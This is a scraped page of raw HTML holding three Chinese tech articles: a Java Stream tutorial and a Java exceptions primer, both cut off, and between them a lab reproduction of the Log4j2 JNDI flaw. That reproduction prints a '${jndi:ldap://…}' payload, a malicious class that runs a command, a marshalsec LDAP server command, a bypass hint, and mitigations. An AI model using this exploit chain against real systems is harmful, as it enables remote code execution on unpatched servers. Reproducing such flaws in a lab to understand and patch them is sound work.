文章列表

Java8 Stream:2万字20个实例,玩转集合的筛选、归约、分组、聚合

作者:微信小助手

<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-mpa-powered-by="yiban.io"> <p style="margin-left: 0px;margin-right: 0px;"><span style="font-size: 12px;">来源:</span></p> <p style="margin-left: 0px;margin-right: 0px;"><span style="font-size: 12px;">https://blog.csdn.net/mu_wind/article/details/109516995</span></p> <section style="margin: 1em 0px;font-size: inherit;line-height: 1.6 !important;"> <span style="font-size: 14px;">Java8中的stream,可大幅提升咱们的开发效率,带大家看下stream到底有哪些常见的用法,一起来过一遍。<strong style="line-height: 1.6 !important;"><br></strong></span> </section> <section style="text-align: center;margin-left: 0px;margin-right: 0px;"> <img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.71015625" data-s="300,640" src="/upload/e44877e82246901d32d7d3697221a158.jpg" data-type="jpeg" data-w="1280" style=""> </section> <section style="margin: 1em 0px;font-size: inherit;line-height: 1.6 !important;"> <span style="font-size: 14px;">先贴上几个案例,水平高超的同学可以挑战一下:</span> </section> <ol data-tool="mdnice编辑器" style="margin: 8px 0px;padding-left: 25px;color: black;line-height: 1.6 !important;" class="list-paddingleft-2"> <li style="line-height: 1.6 !important;font-size: 14px;"> <section style="color: rgb(1, 1, 1);margin-top: 0.3em;margin-bottom: 0.3em;line-height: 1.6 !important;"> <span style="font-size: 14px;">从员工集合中筛选出 salary 大于 8000 的员工,并放置到新的集合里。</span> </section></li> <li style="line-height: 1.6 !important;font-size: 14px;"> <section style="color: rgb(1, 1, 1);margin-top: 0.3em;margin-bottom: 0.3em;line-height: 1.6 !important;"> <span style="font-size: 14px;">统计员工的最高薪资、平均薪资、薪资之和。</span> </section></li> <li style="line-height: 1.6 !important;font-size: 14px;"> <section style="color: rgb(1, 1, 1);margin-top: 0.3em;margin-bottom: 0.3em;line-height: 1.6 !important;"> <span style="font-size: 14px;">将员工按薪资从高到低排序,同样薪资者年龄小者在前。</span> </section></li> <li style="line-height: 1.6 !important;font-size: 14px;"> <section style="color: rgb(1, 1, 1);margin-top: 0.3em;margin-bottom: 0.3em;line-height: 1.6 !important;"> <span style="font-size: 14px;">将员工按性别分类,将员工按性别和地区分类,将员工按薪资是否高于 8000 分为两部分。</span> </section></li> </ol> <section style="margin: 1em 0px;font-size: inherit;line-height: 1.6 !important;"> <span style="font-size: 14px;">用传统的迭代处理也不是很难,但代码就显得冗余了,跟 Stream 相比高下立判。<strong style="font-size: inherit;letter-spacing: 0px;line-height: 1.6 !important;"></strong></span> </section> <h2 data-tool="mdnice编辑器" style="font-weight: bold;margin: 1em 0px;font-size: 1.3em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(223, 226, 229);line-height: 1.6 !important;"><span style="font-size: 14px;line-height: 1.6 !important;">1. Stream 概述</span></h2> <section style="margin: 1em 0px;font-size: inherit;line-height: 1.6 !important;"> <span style="font-size: 14px;">Java 8 是一个非常成功的版本,这个版本新增的</span> <code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(228, 105, 24);background-color: rgb(239, 239, 239);font-size: 0.875em;line-height: 1.6 !important;"><span style="font-size: 14px;">Stream</span></code> <span style="font-size: 14px;">,配合同版本出现的 </span> <code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(228, 105, 24);background-color: rgb(239, 239, 239);font-size: 0.875em;line-height: 1.6 !important;"><span style="font-size: 14px;">Lambda</span></code> <span style="font-size: 14px;"> ,给我们操作集合(Collection)提供了极大的便利。</span> </section> <section style="margin: 1em 0px;font-size: inherit;line-height: 1.6 !important;"> <span style="font-size: 14px;">那么什么是</span> <code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(228, 105, 24);background-color: rgb(239, 239, 239);font-size: 0.875em;line-height: 1.6 !important;"><span style="font-size: 14px;">Stream</span></code> <span style="font-size: 14px;">?</span> </section> <blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);margin-bottom: 20px;margin-top: 20px;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-left-width: 4px;border-left-color: rgb(221, 221, 221);padding-top: 0px;padding-right: 1em;padding-left: 1em;"> <section style="font-size: inherit;color: rgb(102, 102, 102);margin-left: 0px;margin-right: 0px;line-height: 1.6 !important;"> <code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(228, 105, 24);background-color: rgb(239, 239, 239);font-size: 0.875em;line-height: 1.6 !important;"><span style="font-size: 14px;">Stream</span></code> <span style="font-size: 14px;">将要处理的元素集合看作一种流,在流的过程中,借助</span> <code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(228, 105, 24);background-color: rgb(239, 239, 239);font-size: 0.875em;line-height: 1.6 !important;"><span style="font-size: 14px;">Stream API</span></code> <span style="font-size: 14px;">对流中的元素进行操作,比如:筛选、排序、聚合等。</span> </section> </blockquote> <section style="margin: 1em 0px;font-size: inherit;line-height: 1.6 !important;"> <code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(228, 105, 24);background-color: rgb(239, 239, 239);font-size: 0.875em;line-height: 1.6 !important;"><span style="font-size: 14px;">Stream</span></code> <span style="font-size: 14px;">可以由数组或集合创建,对流的操作分为两种:</span> </section> <ol data-tool="mdnice编辑器" style="margin: 8px 0px;padding-left: 25px;color: black;line-height: 1.6 !important;" class="list-paddingleft-2"> <li style="line-height: 1.6 !important;font-size: 14px;"> <section style="color: rgb(1, 1, 1);margin-top: 0.3em;margin-bottom: 0.3em;line-height: 1.6 !important;"> <span style="font-size: 14px;">中间操作,每次返回一个新的流,可以有多个。</span> </section></li> <li style="line-height: 1.6 !important;font-size: 14px;"> <section style="color: rgb(1, 1, 1);m

千万别中招!手把手教你复现Log4j2漏洞!

作者:微信小助手

<h3 data-tool="mdnice编辑器"><span style="color: rgb(0, 82, 255);"><strong><span style="color: rgb(0, 82, 255);font-size: 20px;">|&nbsp;简介</span></strong></span></h3> <section style="line-height: 2em;margin-top: 15px;margin-bottom: 15px;"> <span style="font-size: 16px;">ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。</span> </section> <h3 data-tool="mdnice编辑器"><span style="color: rgb(0, 82, 255);"><strong><span style="color: rgb(0, 82, 255);font-size: 20px;">| 漏洞概述</span></strong></span></h3> <section style="line-height: 2em;margin-top: 15px;margin-bottom: 15px;"> <span style="font-size: 16px;">该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。</span> </section> <h3 data-tool="mdnice编辑器"><span style="color: rgb(0, 82, 255);"><strong><span style="color: rgb(0, 82, 255);font-size: 20px;">| 影响范围</span></strong></span></h3> <blockquote data-tool="mdnice编辑器" style="margin-top: 20px;margin-bottom: 20px;padding-top: 1px;padding-bottom: 1px;outline: 0px;border-left-color: rgb(158, 158, 158);color: rgb(91, 91, 91);font-size: 0.9em;max-width: 100%;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;text-align: left;white-space: normal;border-top: none;border-right: none;border-bottom: none;overflow: auto;background: rgba(158, 158, 158, 0.1);box-sizing: border-box !important;overflow-wrap: break-word !important;"> <p style="margin: 10px;outline: 0px;max-width: 100%;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Apache Log4j 2.x &lt;= 2.15.0-rc1</p> </blockquote> <h3 data-tool="mdnice编辑器"><span style="color: rgb(0, 82, 255);"><strong><span style="color: rgb(0, 82, 255);font-size: 20px;">| 环境搭建</span></strong></span></h3> <section style="line-height: 2em;margin-top: 15px;margin-bottom: 15px;"> <span style="font-size: 16px;">创建一个新的maven项目,并导入Log4j的依赖包</span> </section> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;color: rgb(0, 0, 0);font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 16px;outline: 0px;max-width: 100%;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);display: -webkit-box;font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;<span style="outline: 0px;max-width: 100%;color: rgb(224, 108, 117);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">dependency</span>&gt;</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;<span style="outline: 0px;max-width: 100%;color: rgb(224, 108, 117);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">groupId</span>&gt;</span>org.apache.logging.log4j<span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;/<span style="outline: 0px;max-width: 100%;color: rgb(224, 108, 117);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">groupId</span>&gt;</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;<span style="outline: 0px;max-width: 100%;color: rgb(224, 108, 117);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">artifactId</span>&gt;</span>log4j-core<span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;/<span style="outline: 0px;max-width: 100%;color: rgb(224, 108, 117);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">artifactId</span>&gt;</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;<span style="outline: 0px;max-width: 100%;color: rgb(224, 108, 117);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">version</span>&gt;</span>2.14.1<span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;/<span style="outline: 0px;max-width: 100%;color: rgb(224, 108, 117);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">version</span>&gt;</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;/<span style="outline: 0px;max-width: 100%;color: rgb(224, 108, 117);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">dependency</span>&gt;</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code></pre> <p style="margin-top: 15px;"><img class="rich_pages wxw-img" data-ratio="0.4123263888888889" src="/upload/dac1a2135db517f077da34198cdf7737.png" data-type="png" data-w="1152"></p> <h3 data-tool="mdnice编辑器" style="margin-top: 15px;margin-bottom: 15px;"><span style="color: rgb(0, 82, 255);"><strong><span style="color: rgb(0, 82, 255);font-size: 20px;">| 漏洞利用</span></strong></span><br></h3> <p data-tool="mdnice编辑器"><strong><span style="font-size: 18px;">1 使用POC测试</span></strong></p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;color: rgb(0, 0, 0);font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 16px;outline: 0px;max-width: 100%;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);display: -webkit-box;font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">import</span>&nbsp;org.apache.logging.log4j.LogManager;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">import</span>&nbsp;org.apache.logging.log4j.Logger;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">class</span>&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(230, 192, 123);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">LogTest</span>&nbsp;</span>{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">public</span>&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">static</span>&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">final</span>&nbsp;Logger&nbsp;logger&nbsp;=&nbsp;LogManager.getLogger();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">public</span>&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">static</span>&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">void</span>&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(97, 174, 238);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">main</span><span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">(String[]&nbsp;args)</span>&nbsp;</span>{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;logger.error(<span style="outline: 0px;max-width: 100%;color: rgb(152, 195, 121);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">"${jndi:ldap://localhost:8888/Exploit}"</span>);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code></pre> <section style="margin-top: 15px;"> <strong><span style="font-size: 18px;">2 编译一恶意类Exploit.class</span></strong> </section> <p data-tool="mdnice编辑器" style="line-height: 2em;margin-top: 15px;margin-bottom: 15px;"><span style="font-size: 16px;">首先新建exp.java,然后编译为class文件。</span></p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;color: rgb(0, 0, 0);font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 16px;outline: 0px;max-width: 100%;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);display: -webkit-box;font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">class</span>&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(230, 192, 123);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Exploit</span>&nbsp;</span>{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">static</span>&nbsp;{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.err.println(<span style="outline: 0px;max-width: 100%;color: rgb(152, 195, 121);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">"Pwned"</span>);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">try</span>&nbsp;{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;cmds&nbsp;=&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(152, 195, 121);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">"calc"</span>;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Runtime.getRuntime().exec(cmds);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="outline: 0px;max-width: 100%;color: rgb(198, 120, 221);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">catch</span>&nbsp;(&nbsp;Exception&nbsp;e&nbsp;)&nbsp;{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">&nbsp;&nbsp;&nbsp;&nbsp;}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code></pre> <p data-tool="mdnice编辑器" style="line-height: 2em;margin-top: 15px;margin-bottom: 15px;"><span style="font-size: 15px;color: rgb(255, 76, 65);background-color: rgb(255, 215, 213);">javac exp.java</span></p> <p><img class="rich_pages wxw-img" data-ratio="0.6197309417040359" src="/upload/57265ddf0851ac5e35c2827cb1f155f0.png" data-type="png" data-w="1115"></p> <section style="margin-bottom: 15px;margin-top: 20px;"> <strong><span style="font-size: 18px;">3 使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务</span></strong> <br> </section> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;color: rgb(0, 0, 0);font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 16px;outline: 0px;max-width: 100%;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);display: -webkit-box;font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">java&nbsp;-cp&nbsp;marshalsec-0.0.3-SNAPSHOT-all.jar&nbsp;marshalsec.jndi.LDAPRefServer<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(152, 195, 121);line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">"http://127.0.0.1:7777/#Exploit"</span>&nbsp;8888<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code></pre> <p><img class="rich_pages wxw-img" data-ratio="0.17467840216655384" src="/upload/4136bfc05d4b6826ce32c1a723bb2634.png" data-type="png" data-w="1477"></p> <section style="margin-top: 20px;margin-bottom: 15px;"> <strong><span style="font-size: 18px;">4 运行poc.java,即可访问恶意类并执行写在其中的"calc"命令</span></strong> <br> </section> <p><img class="rich_pages wxw-img" data-ratio="0.5984598459845984" src="/upload/6abeba3129d7fa58c7a5c561f1e8dd0a.png" data-type="png" data-w="1818"></p> <section style="line-height: 2em;margin-top: 15px;margin-bottom: 15px;"> <span style="font-size: 16px;">结合一些其它 </span> <span style="font-size: 15px;">StrLookup</span> <span style="font-size: 16px;"> 适当变形,以及配合官方测试用例中脏数据</span> <span style="background-color: rgb(255, 215, 213);color: rgb(255, 76, 65);font-size: 15px;">"?Type=A Type&amp;Name=1100110&amp;Char=!"</span> <span style="font-size: 16px;">可绕过</span> <span style="font-size: 16px;">rc1,RC2</span> <span style="font-size: 16px;">版本对此异常进行了捕获。</span> <br> </section> <blockquote data-tool="mdnice编辑器" style="margin-top: 20px;margin-bottom: 20px;padding-top: 1px;padding-bottom: 1px;outline: 0px;border-left-color: rgb(158, 158, 158);color: rgb(91, 91, 91);font-size: 0.9em;max-width: 100%;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;text-align: left;white-space: normal;border-top: none;border-right: none;border-bottom: none;overflow: auto;background: rgba(158, 158, 158, 0.1);box-sizing: border-box !important;overflow-wrap: break-word !important;"> <p style="margin: 10px;outline: 0px;max-width: 100%;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2</p> </blockquote> <p><img class="rich_pages wxw-img" data-ratio="0.421505376344086" src="/upload/ed4f60a13ff3760740f93843a7544bf3.png" data-type="png" data-w="1395"></p> <h3 data-tool="mdnice编辑器" style="margin-top: 20px;margin-bottom: 20px;"><span style="color: rgb(0, 82, 255);"><strong><span style="color: rgb(0, 82, 255);font-size: 20px;">| 修复方式</span></strong></span><br></h3> <section style="line-height: 2em;"> <span style="font-size: 16px;">目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:</span> </section> <blockquote data-tool="mdnice编辑器" style="margin-top: 20px;margin-bottom: 20px;padding-top: 1px;padding-bottom: 1px;outline: 0px;border-left-color: rgb(158, 158, 158);color: rgb(91, 91, 91);font-size: 0.9em;max-width: 100%;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;text-align: left;white-space: normal;border-top: none;border-right: none;border-bottom: none;overflow: auto;background: rgba(158, 158, 158, 0.1);box-sizing: border-box !important;overflow-wrap: break-word !important;"> <p style="margin: 10px;outline: 0px;max-width: 100%;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2</p> </blockquote> <section style="line-height: 2em;"> <strong><span style="font-size: 16px;">建议同时采用如下临时措施进行漏洞防范:</span></strong> <span style="font-size: 16px;"></span> </section> <ul class="list-paddingleft-2" style="list-style-type: disc;"> <li style="font-size: 16px;"> <section style="line-height: 2em;"> <span style="font-size: 16px;">添加</span> <span style="font-size: 15px;">jvm</span> <span style="font-size: 16px;">启动参数</span> <span style="font-size: 15px;">-Dlog4j2.formatMsgNoLookups=true</span> <span style="font-size: 16px;">;</span> </section></li> <li style="font-size: 16px;"> <section style="line-height: 2em;"> <span style="font-size: 16px;">在应用</span> <span style="font-size: 15px;">classpath</span> <span style="font-size: 16px;">下添加</span> <span style="font-size: 15px;">log4j2.component.properties</span> <span style="font-size: 16px;">配置文件,文件内容为</span> <span style="font-size: 15px;">log4j2.formatMsgNoLookups=true</span> <span style="font-size: 16px;">;</span> </section></li> <li style="font-size: 16px;"> <section style="line-height: 2em;"> <span style="font-size: 16px;">JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;</span> </section></li> <li style="font-size: 16px;"><p style="line-height: 2em;margin-bottom: 20px;"><span style="font-size: 16px;">部署使用第三方防火墙产品进行安全防护。</span></p></li> </ul>

两万字详解Java异常,面试再也不怕被问到!

作者:微信小助手

<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style=""> <h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 22px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">Java异常简介</h2> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">Java异常是Java提供的一种识别及响应错误的一致性机制。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">Java异常机制可以使程序中异常处理代码和正常业务代码分离,保证程序代码更加优雅,并提高程序健壮性。在有效使用异常的情况下,异常能清晰的回答what, where, why这3个问题:异常类型回答了“什么”被抛出,异常堆栈跟踪回答了“在哪”抛出,异常信息回答了“为什么”会抛出。</p> <h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 22px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span style="display: none;"></span>Java异常架构</h2> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"> <img class="rich_pages wxw-img" src="/upload/9ae50240f6ae0bda927c9d21d9fc5bb.png" data-cropx1="0" data-cropx2="1080" data-cropy1="0" data-cropy2="689.4809688581315" data-ratio="0.637962962962963" src="https://mmbiz.qpic.cn/mmbiz_jpg/eZzl4LXykQzfS5wDCCM4cK1dQu4ja5g6KEY8hfKgFOrKLvfj8ue4NTXm6iaN5z5vnbxKU7mdIqB4eic1ydTWwib9Q/640?wx_fmt=jpeg" data-type="jpeg" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;width: 578px;height: 369px;"> </figure> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>1. Throwable<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">Throwable 是 Java 语言中所有错误与异常的超类。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">Throwable 包含两个子类:Error(错误)和 